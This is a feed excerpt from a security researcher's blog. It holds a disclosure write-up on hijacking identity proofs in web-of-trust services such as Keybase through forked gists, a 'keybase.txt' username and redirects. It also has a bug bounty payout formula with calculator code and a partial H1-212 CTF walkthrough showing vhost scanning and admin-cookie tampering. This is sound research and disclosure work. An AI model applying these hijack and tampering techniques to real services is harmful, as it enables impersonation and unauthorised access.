&lt;p&gt;I am going to cut this write-up short and encourage readers to watch Tom&amp;rsquo;s talk &amp;ldquo;&lt;a href="https://www.youtube.com/watch?v=DvS_ew77GXA"&gt;Passive-ish Recon Techniques&lt;/a&gt;&amp;rdquo;. All the techniques described in this talk can be automated using &lt;code&gt;meg&lt;/code&gt; and as Tom demonstrates they can be extremely rewarding.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=DvS_ew77GXA"&gt;
&lt;img src="https://camo.githubusercontent.com/3f670af500cc9a21e933da1395a3f42cae182753/68747470733a2f2f692e7974696d672e636f6d2f76692f4476535f657737374758412f6d617872657364656661756c742e6a7067" alt="" loading="lazy" decoding="async"&gt;
&lt;/a&gt;&lt;/p&gt;</description></item><item><title>An analysis of logic flaws in web-of-trust services</title><link>https://edoverflow.com/2018/logic-flaws-in-wot-services/</link><pubDate>Tue, 13 Feb 2018 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2018/logic-flaws-in-wot-services/</guid><description>&lt;h2 id="abstract"&gt;Abstract&lt;/h2&gt;
&lt;p&gt;Web-of-trust services (WOT) such as Keybase, Onename, and Blockstack promise to verify individuals&amp;rsquo; identities on the web. Since many applications on the web are not consistent this often leads to unintended behaviour and therefore security vulnerabilities in web-of-trust services. This write-up analyses three attack vectors that I stumbled across while conducting research on the security of WOT services.&lt;/p&gt;
&lt;h2 id="the-technology-behind-wot-services"&gt;The Technology Behind WOT Services&lt;/h2&gt;
&lt;p&gt;WOT services allow users to create tokens and place them on their personal pages (e.g. GitHub profile). The service will then look for the token using a scraper and if the token is valid, display that the user does in fact own that external page. The idea behind this method is so that users can display what pages on the web belong to them and then tie their WOT account to all of those external services. On top of that, since the verification tokens need to be publicly accessible, other users can verify that the proof is legitimate by visiting the page containing the token.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/36176220-cf811d06-1109-11e8-895f-8e8c4a350483.png" alt="TomNomNom&amp;rsquo;s Keybase profile" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;User TomNomNom cryptographically verifying their online identity on Keybase.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 id="attack-vector-one--distribution-of-content-on-timelines"&gt;Attack Vector One &amp;ndash; Distribution Of Content On Timelines&lt;/h2&gt;
&lt;p&gt;On the web a lot of profile-based applications allow redistribution of content by sharing someone else&amp;rsquo;s entry on your personal timeline &amp;ndash; on Twitter users can &lt;em&gt;retweet&lt;/em&gt; content and on GitHub people can &lt;em&gt;fork&lt;/em&gt; projects. Since some WOT services use a public entry or post to verify the user&amp;rsquo;s identity, I asked myself whether it would be possible to claim ownership of someone else&amp;rsquo;s account by having them share a token that was posted onto an attacker&amp;rsquo;s timeline. One particular service stood out for me, GitHub, where WOT applications such as Keybase require users to place the verification token into a GitHub gist file. The interesting behaviour that I noticed with GitHub is that when a user forks a gist, the gist is not only displayed on the user&amp;rsquo;s timeline, it replaces the original author&amp;rsquo;s username with the sharer&amp;rsquo;s username.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/36165627-1901716e-10e8-11e8-9def-a3349954851a.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;A forked GitHub gist — the original author is EdOverflow and the gist was forked by bayotop.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;One vulnerable service was Keybase, where if an attacker could convince a victim to fork their GitHub gist, the attacker would be able to claim ownership of the victim&amp;rsquo;s GitHub username. On top of that, Keybase allowed modification of the verification snippet, allowing an attacker to hide the token in an HTML comment.&lt;/p&gt;
&lt;p&gt;An example attack using this technique against Keybase could have unfolded as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;span class="purple"&gt;attacker&lt;/span&gt; requests a verification token from &lt;span class="blue"&gt;Keybase&lt;/span&gt; for the &lt;span class="red"&gt;victim&amp;rsquo;s&lt;/span&gt; GitHub username;&lt;/li&gt;
&lt;li&gt;&lt;span class="blue"&gt;Keybase&lt;/span&gt; prompts the &lt;span class="purple"&gt;attacker&lt;/span&gt; to place the verification token in a &lt;code&gt;keybase.md&lt;/code&gt; gist;&lt;/li&gt;
&lt;li&gt;The &lt;span class="purple"&gt;attacker&lt;/span&gt; creates a &lt;code&gt;keybase.md&lt;/code&gt; gist hiding the verification token in an HTML comment;&lt;/li&gt;
&lt;li&gt;The &lt;span class="red"&gt;victim&lt;/span&gt; forks the &lt;span class="purple"&gt;attacker&amp;rsquo;s&lt;/span&gt; GitHub gist;&lt;/li&gt;
&lt;li&gt;The &lt;span class="purple"&gt;attacker&lt;/span&gt; instructs &lt;span class="blue"&gt;Keybase&lt;/span&gt; to verify &lt;code&gt;/&amp;lt;victim&amp;gt;/keybase.md&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a result, the attacker&amp;rsquo;s Keybase account states that they own the victim&amp;rsquo;s account. To make matters worse, Keybase has a &lt;a href="https://keybase.io/docs/extension"&gt;browser extension&lt;/a&gt; that allows users to browse to certain applications (e.g. GitHub, Twitter, Hacker News, etc.) and message the user on Keybase via the profile page &amp;ndash; the extension adds a little messaging window on the user&amp;rsquo;s profile. Messages are sent to the account on Keybase that has verified ownership of the account. This means the extension will trick the user into thinking they are messaging the intended recipient, but all messages land in the attacker&amp;rsquo;s inbox since they control the victim&amp;rsquo;s username.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/36165628-1921e5ac-10e8-11e8-9fc5-e3ac95e98d1e.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;Hijacked GitHub username (@jackds1986) viewed in the Keybase browser extension. All messages are sent to a user called &amp;#34;totallynotjackds&amp;#34; on Keybase.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blockstack.org/"&gt;Blockstack&lt;/a&gt; and &lt;a href="https://fireblock.io/"&gt;fireblock.io&lt;/a&gt; were also vulnerable to this attack vector. In most cases, the fix consisted of simply verifying whether the GitHub gist was a fork using GitHub&amp;rsquo;s gist API.&lt;/p&gt;
&lt;h2 id="attack-vector-two--namespace-attacks"&gt;Attack Vector Two &amp;ndash; Namespace attacks&lt;/h2&gt;
&lt;p&gt;Some WoT services require placing the verification token in a specific filename. Keybase, for example, as mentioned in the previous section, require GitHub verification tokens to be placed in GitHub gists called &lt;em&gt;keybase.md&lt;/em&gt;. On web assets, Keybase require the file to be named &lt;code&gt;keybase.txt&lt;/code&gt; and either placed under the top-level directory or the &lt;code&gt;.well-known&lt;/code&gt; path. The reason behind the &lt;code&gt;.well-known&lt;/code&gt; proposal in &lt;a href="https://tools.ietf.org/html/rfc5785"&gt;RFC5785&lt;/a&gt;, is to prevent filename collisions and clogging up the root directory. The former is particularly interesting when it comes to WOT services since if an attacker can control the filename on a website, they could potentially claim ownership of the domain. One such case happened with liberapay.com and Keybase. Liberapay, an open-source donation platform, did not restrict username&amp;rsquo;s containing dots in them; therefore one could create usernames containing file extensions. This became apparent to me when I set up a profile page for the security.txt project (&lt;a href="https://liberapay.com/security.txt"&gt;https://liberapay.com/security.txt&lt;/a&gt;). I created a user called &lt;code&gt;keybase.txt&lt;/code&gt; and embedded the Keybase verification snippet in the profile&amp;rsquo;s description. This allowed me to claim ownership of liberapay.com. Keybase did not verify the content type of the keybase.txt file and did not even ensure that the token is not embedded into a page.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/35120564-d26274aa-fc98-11e7-884f-b972fdc44efe.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;Claiming ownership of liberapay.com by creating a user called keybase.txt and embedding the verification snippet into the profile&amp;#39;s description.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 id="attack-vector-three--redirects"&gt;Attack Vector Three &amp;ndash; Redirects&lt;/h2&gt;
&lt;p&gt;After claiming ownership of liberapay&lt;code&gt;.com&lt;/code&gt; I noticed that liberapay&lt;code&gt;.org&lt;/code&gt; redirects to liberapay&lt;code&gt;.com&lt;/code&gt;. This next attack consisted of using a verification token generated for liberapay&lt;code&gt;.org&lt;/code&gt; embedded on liberapay&lt;code&gt;.com&lt;/code&gt; to claim ownership of liberapay&lt;code&gt;.org&lt;/code&gt;. Keybase&amp;rsquo;s scraper would blindly follow the redirect and not validate the final endpoint to make sure it matches the target host. Keybase would request liberapay&lt;code&gt;.org/keybase.txt&lt;/code&gt; which redirects to liberapay&lt;code&gt;.com/keybase.txt&lt;/code&gt; where a valid &lt;code&gt;keybase.txt&lt;/code&gt; file is located.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/36167048-659b30b0-10ec-11e8-8dbb-14b97337020a.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;Claiming ownership of liberapay.org via liberapay.com&amp;#39;s keybase.txt file.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;One particular plausible attack scenario that I could come up with was claiming branded URL-shorteners using this technique.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;All services affected by these attack vectors were notified and promptly resolved most of the reported issues. Keybase remain vulnerable to attack vectors 2 and 3 &amp;ndash; as far as I can tell they do not plan on resolving those issues. I was thoroughly impressed by the response times of all the affected parties and I look forward to working with them again in the future. As a result of this research, I have become addicted to finding logic flaws.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Update (Friday, 16 February 2018): &lt;a href="https://twitter.com/LewisBugBounty"&gt;@LewisBugBounty&lt;/a&gt; demonstrated that one can claim ownership of URL shorteners as I theorised above: &lt;a href="https://twitter.com/LewisBugBounty/status/964561238956101632"&gt;Tweet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/LewisBugBounty/status/964561238956101632"&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/36322389-fb99e1c4-1344-11e8-809f-aa4668017271.png" alt="@LewisBugBounty&amp;rsquo;s
tweet" loading="lazy" decoding="async"&gt;
&lt;/a&gt;&lt;/p&gt;</description></item><item><title>The math behind bug bounties — A formula to calculate bounty amounts</title><link>https://edoverflow.com/2017/the-math-behind-bug-bounties/</link><pubDate>Wed, 29 Nov 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/the-math-behind-bug-bounties/</guid><description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;⚠️ Disclaimer (2022):&lt;/em&gt; The embedded code no longer works in this blog post since updating my website to &lt;a href="https://gohugo.io/"&gt;Hugo&lt;/a&gt;. Some of the content may be missing.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Inspired by &lt;a href="http://engineering.skybettingandgaming.com/authors/#dan_adams"&gt;Daniel Adams&lt;/a&gt;&amp;rsquo; work, &lt;a href="https://twitter.com/TomNomNom"&gt;Tom Hudson&lt;/a&gt; and I have assembled a formula to calculate the final bounty amount based on the impact of the reported security vulnerability. The formula can be expressed as follows where $b$ is the bounty amount, $C$ is the CVSS score, and $N$ is a constant that creates a direct correlation between $b_{max}$ and $C_{max}$:&lt;/p&gt;
&lt;p&gt;$$\forall C (0 \le C \le 10) \tag{1}$$&lt;/p&gt;
&lt;p&gt;$$\forall n (n \in \Bbb{R}^+ \land 1.0 \le n \le 3.0) \tag{2}$$&lt;/p&gt;
&lt;p&gt;$$N = \frac{b_{max}}{(C_{max})^n} \tag{3}$$&lt;/p&gt;
&lt;p&gt;$$b = N \times (C^n) \tag{4}$$&lt;/p&gt;
&lt;p&gt;In pseudo-code this could be expressed as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// Input: b_max, C, and n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// Output: b
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function formula(b_max, C, n)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; if C &amp;gt; 10 or C &amp;lt; 0 then
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return error
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; else if n &amp;lt; 1 or n &amp;gt; 3 then
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return error
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; else
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; C_max := 10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; N := b_max / C_max^n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; b := N * C^n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return b
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; end if
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;end function
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;$C_{max}$ is always $10$ and $b_{max}$ is the maximum bounty amount. $b_{max}$ and $n$ are the only variables which the bug bounty program needs to define for general purposes. $n$ is in the set of the positive real numbers ($\Bbb{R}^+$). We recommend setting a lower value for $n$ as you increase $b_{max}$. This should ensure that the gap between values in the 7.0 to 10.0 CVSS score range is not too big.&lt;/p&gt;
&lt;p&gt;An exponent $n$ greater than $1$ creates an exponential curve as seen in the graph below:&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/33235204-737cc54c-d233-11e7-9845-bfbf48d7637a.png" alt="Figure 1: Plot graph for b_{max} = 2000" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Some programs reward based on the &lt;em&gt;Qualitative Severity Rating&lt;/em&gt; &lt;sup&gt;&lt;a href="https://www.first.org/cvss/specification-document#5-Qualitative-Severity-Rating-Scale"&gt;[1]&lt;/a&gt;&lt;/sup&gt; and not the exact CVSS score. This can easily be achieved by always rounding the value up to the maximum score of the corresponding CVSS rating.&lt;/p&gt;
&lt;p&gt;$$
C = \begin{aligned}
&amp;amp;0.0 &amp;amp;&amp;amp;\text{if } X &amp;lt; 0.1 \newline
&amp;amp;3.9 &amp;amp;&amp;amp; \text{if } 0.1 &amp;lt; X &amp;lt; 4.0 \newline
&amp;amp;6.9 &amp;amp;&amp;amp; \text{if } 3.9 &amp;lt; X &amp;lt; 7.0 \newline
&amp;amp;7.9 &amp;amp;&amp;amp; \text{if } 6.9 &amp;lt; X &amp;lt; 9.0 \newline
&amp;amp;10.0 &amp;amp;&amp;amp; \text{if } 8.9 &amp;lt; X \newline
\end{aligned} \tag{5}
$$&lt;/p&gt;
&lt;p&gt;It is important to note that we are using CVSS as an example system and that this formula could be adapted to use any vulnerability scoring system. That said, we are assuming that the reader is using all three metric groups of the CVSS system when evaluating the total severity score. &lt;sup&gt;&lt;a href="https://www.first.org/cvss/specification-document#1-1-Metrics"&gt;[2]&lt;/a&gt;&lt;/sup&gt; Platforms such as HackerOne do not use all three groups when evaluating the final score.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;This is a little calculator based on our formula. You can supply it with different values and inspect the results below.&lt;/p&gt;
&lt;p&gt;&lt;label for="b_max"&gt;$b_{max}$ - Program&amp;rsquo;s maximum bounty amount.&lt;/label&gt;
&lt;input type="number" id="b_max" value="10000"&gt;
&lt;br /&gt;
&lt;label for="C"&gt;$C$ - CVSS score.&lt;/label&gt;
&lt;input type="number" id="C" value="5" step="0.1"&gt;
&lt;br /&gt;
&lt;label for="n"&gt;$n$ - Exponent.&lt;/label&gt;
&lt;input type="number" id="n" value="1" step="1"&gt;
&lt;br /&gt;
&lt;button id="button"&gt;Calculate&lt;/button&gt;&lt;/p&gt;
&lt;p id="result"&gt;&lt;/p&gt;
&lt;div id="graph"&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;After spending some time playing around with this formula, we became aware of how it could be used in various areas of the bug bounty industry. This write-up highlights the potential benefits of using our proposed mechanism.&lt;/p&gt;
&lt;h2 id="transparency"&gt;Transparency&lt;/h2&gt;
&lt;p&gt;Bug bounty programs can now place this formula in their security policy and make it clear how they came to the various bounty amounts. We will describe further on how platforms could aid with this process.&lt;/p&gt;
&lt;h2 id="ease-of-use"&gt;Ease of use&lt;/h2&gt;
&lt;p&gt;Our proposed formula requires very few steps to set up. Bug bounty programs are only required to define two variables, $b_{max}$ and the exponent $n$.&lt;/p&gt;
&lt;h2 id="capping"&gt;Capping&lt;/h2&gt;
&lt;p&gt;This approach also enables programs to cap the curve at any desired point. HackerOne, for instance, requires a \$50 minimum bounty. So if the rate starts to drop below that, one can simply remove everything below \$50.&lt;/p&gt;
&lt;h2 id="how-this-could-be-implemented-by-bug-bounty-platforms"&gt;How this could be implemented by bug bounty platforms&lt;/h2&gt;
&lt;p&gt;HackerOne currently suggest bounty amounts when a program wants to set a reward for the researcher after triaging a report. Their current approach is statistical and focuses on competitive bounty amounts. The numbers are generated based on the average bug bounty payouts for the corresponding CVSS score on HackerOne&amp;rsquo;s platform.&lt;/p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/33377762-e5906328-d512-11e7-85b9-acced985d7a1.png" alt="Figure 2: Bounty suggestions by HackerOne."&gt;
&lt;figcaption&gt;Figure 2: Bounty suggestions by HackerOne.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The bounty amount is currently broken down into three categories &lt;code&gt;median&lt;/code&gt;, &lt;code&gt;competitive&lt;/code&gt;, and &lt;code&gt;top&lt;/code&gt;. We believe it is possible to replace these values with the exponent $n$. In other words, the &lt;code&gt;median&lt;/code&gt; category could mean a value of $3$ for $n$, and &lt;code&gt;top&lt;/code&gt; could be $n = 1$. The exponent allows the program to evaluate a bounty amount based on the relative impact of the various CVSS scores. A more mature program that wants to offer competitive bounty amounts can set a lower value for $n$, which in turn means the gap between the individual bounty amounts would be smaller.&lt;/p&gt;
&lt;p&gt;On top of having bounty amounts suggested in the payment process, we encourage platforms to have an inbuilt calculator that automatically inserts all values for the different CVSS scores in a table. This dynamic and efficient approach makes it easier for programs to quickly set up a bounty table in their policy and update it in the future.&lt;/p&gt;
&lt;div id=""&gt;
&lt;table id="bountyTable"&gt;&lt;/table&gt;
&lt;figcaption&gt;Notice how this table is dynamically generated using the values from above.&lt;/figcaption&gt;
&lt;/div&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In the hopes of seeing more programs and platforms adopt this formula, we are open sourcing everything including the source code for the calculator on GitHub. The repository is located &lt;a href="https://github.com/EdOverflow/bounty-formula"&gt;here&lt;/a&gt;. We welcome any contributions and feedback from the public.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Update (Friday, 01 December 2017): &lt;a href="https://twitter.com/richinseattle"&gt;@richinseattle&lt;/a&gt; noticed that values greater than $2$ for $n$ create very significant gaps between CVSS scores in the high and critical range. There is a ticket to keep track of this issue on GitHub and we hope to figure out a solution very soon: &lt;a href="https://github.com/EdOverflow/bounty-formula/issues/3"&gt;https://github.com/EdOverflow/bounty-formula/issues/3&lt;/a&gt;.&lt;/p&gt;
&lt;script src="https://cdn.plot.ly/plotly-latest.min.js"&gt;&lt;/script&gt;
&lt;script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/x-mathjax-config"&gt;
MathJax.Hub.Config({
tex2jax: {
inlineMath: [ ['$','$'], ["\\(","\\)"] ],
processEscapes: true
}
});
&lt;/script&gt;
&lt;script&gt;
(function() {
document.getElementById("button").addEventListener("click", function() {
var b_max = document.getElementById("b_max").value;
var C = document.getElementById("C").value;
var n = document.getElementById("n").value;
var result = document.createElement("div");
// Set limits for the variables.
if (C &gt; 10 || C &lt; 0) {
result.innerText = "Error: You appear to have found an (Ed)Overflow. C must be an integer between 0 and 10.";
appendResult(result);
} else if (C == 0) {
result.innerText = "Result: Bounty pls ❤";
appendResult(result);
} else if (n &lt; 1 || n &gt; 3) {
result.innerText = "Error: You appear to have found an (Ed)Overflow. n must range from 1.0 to 3.0.";
appendResult(result);
} else {
var res = formula(b_max, C, n);
if (n == 1) {
result.innerText = "Bounty amount: $" + Math.floor(res) + ". n = 1 is usually recommended for mature projects that can afford linear growth in the bounty amount rather than exponential growth.";
appendResult(result);
} else {
result.innerText = "Bounty amount: $" + Math.floor(res);
appendResult(result);
}
}
}); //
function formula(b_max, CVSS, n) {
// This is the bounty formula.
var C_max = 10;
var N = b_max / Math.pow(C_max, n);
b = N * Math.pow(CVSS, n);
return b;
}
function appendResult(result) {
document.getElementById("result").outerHTML = '&lt;p id="result"&gt;&lt;/p&gt;';
document.getElementById("result").appendChild(result);
}
function getAllResults() {
var b_max = document.getElementById("b_max").value;
var n = document.getElementById("n").value;
// The CVSS scores we want to calculate the bounty for.
var scores = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
// A place to store the results.
var bounties = [];
for (i = 0; i &lt; scores.length; i++) {
var score = scores[i];
var b = formula(b_max, score, n);
bounties[i] = b;
}
var config = {responsive: true}
Plotly.newPlot(
document.getElementById('graph'), [{
x: scores,
y: bounties
}], {
margin: {
t: 0
}
}, config
);
// Table data.
var columnHeaders = ['CVSS Score', 'Bounty Amount'];
var columns = [scores, bounties];
// Insert the headings.
bountyTable.innerHTML = "";
var row = bountyTable.insertRow(0);
for (var i = 0; i &lt; columnHeaders.length; i++) {
var headerCell = document.createElement("th");
headerCell.innerText = columnHeaders[i];
row.appendChild(headerCell);
}
// Insert the values.
for (var i = 1; i &lt; scores.length; i++) {
var row = bountyTable.insertRow(i);
for (var j = 0; j &lt; columns.length; j++){
row.insertCell(j).innerText = columns[j][i];
}
}
}
getAllResults();
document.getElementById("b_max").addEventListener("change", getAllResults);
document.getElementById("n").addEventListener("change", getAllResults);
})();
&lt;/script&gt;</description></item><item><title>Operation FGTNY 🗽 - Solving the H1-212 CTF</title><link>https://edoverflow.com/2017/h1-212-ctf/</link><pubDate>Sun, 19 Nov 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/h1-212-ctf/</guid><description>&lt;h2 id="preliminary"&gt;Preliminary&lt;/h2&gt;
&lt;p&gt;Enter exhibit one: An experienced engineer working for one of the biggest corporations in the world.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32990101-a8d382e0-cd23-11e7-8b9f-d4fbcf8825c4.png" alt="Tyrell Wellick from Mr. Robot" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This engineer had set up a server and claimed that nobody could hack their way into it.&lt;/p&gt;
&lt;p&gt;Enter exhibit two: An inexperienced kid celebrating their birthday, me (EdOverflow).&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://camo.githubusercontent.com/9526164484cd3b590119156eb5ce51852eb735a2/68747470733a2f2f692e67697068792e636f6d2f6d656469612f313044386a3245704e43584441342f3230302e676966" alt="GIF of frog" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Queue &lt;a href="https://www.youtube.com/watch?v=pER7P06MNrg"&gt;dramatic music&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="step-1---the-classic-jobert-challenge"&gt;Step 1 - The Classic Jobert Challenge&lt;/h2&gt;
&lt;p&gt;Going into this CTF I knew that Jobert would use the same little trick again as in &lt;a href="https://edoverflow.com/2017/ctf-reversing-the-passwords/"&gt;his previous CTF&lt;/a&gt;. Always read the challenge description very carefully and look for keywords. &amp;ldquo;acme.org&amp;rdquo;, &amp;ldquo;Apache&amp;rdquo; and &amp;ldquo;admin panel&amp;rdquo; stood out for me immediately. During my reconnaissance process which did not require any brute forcing as &lt;a href="https://twitter.com/jobertabma/status/930273559946989569"&gt;HackerOne had made very clear&lt;/a&gt;, I used Jobert Abma&amp;rsquo;s &lt;a href="https://github.com/jobertabma/virtual-host-discovery"&gt;virtual host discovery tool&lt;/a&gt;. This is when I discovered that the admin panel was located at the admin.acme.org virtual host. In order to access the panel, we were required to set the admin.acme.org address to the given IP &lt;code&gt;104.236.20.43&lt;/code&gt; in our &lt;code&gt;/etc/hosts&lt;/code&gt; file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat h1-212
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;apache.%s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;admin.%s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;engineer.%s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hackerone.%s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ruby scan.rb --ip=104.236.20.43 --host=acme.org --wordlist=h1-212
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found: admin.acme.org (200)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; date:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Sun, 19 Nov 2017 12:00:05 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Apache/2.4.18 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; set-cookie:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; admin=no # 😱
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; content-type:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text/html; charset=UTF-8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo sh -c &amp;#34;echo &amp;#39;104.236.20.43 admin.acme.org&amp;#39; &amp;gt;&amp;gt; /etc/hosts&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32788392-6244361c-c959-11e7-8044-ab5323b9bd23.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32788339-402f41a2-c959-11e7-8ecc-c374401caccc.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;I noticed from other participants&amp;rsquo; comments that they were struggling with this first step. The issue appeared to be that they were overly focused on the &amp;ldquo;Apache&amp;rdquo; aspect of the page. This is also the reason why HackerOne had to remind people not to brute force their way into the next step. The challenge really had nothing to do with directory bruteforcing. ¯\_(ツ)_/¯&lt;/p&gt;
&lt;h2 id="step-2---teapot-"&gt;Step 2 - Teapot 🍵&lt;/h2&gt;
&lt;p&gt;Next I ran &lt;a href="https://github.com/maurosoria/dirsearch"&gt;dirsearch&lt;/a&gt; with a lightweight wordlist against admin.acme.org. The tool discovered an &lt;code&gt;index.php&lt;/code&gt; file and a login path underneath (&lt;code&gt;index.php/login&lt;/code&gt;). Immediately one thing stood out to me, the &lt;code&gt;admin&lt;/code&gt; cookie was set to &lt;code&gt;no&lt;/code&gt;. When modifying that value to &lt;code&gt;yes&lt;/code&gt; and changing the request method to &lt;code&gt;POST&lt;/code&gt;, a &lt;code&gt;406 Not Acceptable&lt;/code&gt; status code was returned.&lt;/p&gt;
&lt;p&gt;Due to legal reasons, I shall not list my technique for figuring out what that status code means, but let&amp;rsquo;s just say I used a &lt;s&gt;highly advanced&lt;/s&gt; Google Dork (&lt;code&gt;site:hackerone.com 406 Not Acceptable&lt;/code&gt;) in order to find &lt;a href="https://hackerone.com/reports/50658"&gt;this report&lt;/a&gt;, which indicated that the request had to be in JSON (&lt;code&gt;Content-Type: application/json&lt;/code&gt;). You didn&amp;rsquo;t hear me say any of that.&lt;/p&gt;
&lt;p&gt;
